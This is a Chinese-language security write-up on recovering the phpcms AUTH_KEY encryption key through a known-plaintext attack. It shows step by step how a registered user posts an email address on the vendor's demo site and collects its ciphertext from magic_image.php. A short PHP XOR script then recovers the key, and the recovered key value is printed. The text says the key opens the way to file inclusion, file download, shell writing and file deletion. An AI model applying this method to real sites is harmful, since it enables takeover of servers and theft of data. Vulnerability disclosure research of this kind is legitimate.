phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。
已经说明了两个破解"phpcms_auth函数的加密密钥AUTH_KEY"的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。
上一篇说到"破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。"
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。
来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。
// include global.fun.php function magic_image($txt, $fonttype = 4) { if(empty($txt)) return false; if(function_exists("imagepng")) { $txt = urlencode(phpcms_auth($txt, 'ENCODE', AUTH_KEY)); $txt = '<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.'" align="absmiddle">'; } return $txt; }
在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。
发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密,显示给用户的时候又会调用magic_image.php文件,对字符串解密并进行生成图片。
就是说:
我们可以自定义明文
并且我们也可以得到明文加密后的密文
这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可),不费什么力气。
举例说明
1.在http://demo.phpcms.cn随便注册个普通用户会员
2.在跳蚤市场那
http://demo.phpcms.cn/info/sale/
随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22
随便发一条信息
使用邮箱为
xxxxx@gmail.com
3.最后找到我们发布的信息:
http://demo.phpcms.cn/2011/0405/366.html
查看邮箱图片的地址
http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
--------------------
好了
明文:xxxxx@gmail.com
密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
解密一下:
<?php $key="xxxxx@gmail.com"; $txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D'; $txt=base64_decode(urldecode($txt)); for($i=0;$i<strlen($key);$i++) { $code .= $txt[$i] ^ $key[$i]; } echo $code; ?>
运行结果:
$ php /var/www/vul.php
OXdcFVodxAcbCUeTgLBgOXdc
我们的密钥就是:
OXdcFVodxAcbCUeTgLBg